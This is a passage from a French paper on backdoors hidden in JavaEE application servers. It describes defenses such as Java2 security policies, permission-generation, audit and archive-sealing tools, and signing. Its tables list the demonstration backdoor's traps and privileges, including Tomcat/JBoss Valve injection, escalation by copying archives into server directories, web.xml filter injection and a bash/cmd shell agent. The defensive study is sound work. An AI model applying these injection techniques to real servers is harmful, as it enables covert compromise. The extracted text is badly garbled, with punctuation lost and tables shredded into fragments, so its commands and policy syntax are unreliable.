Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

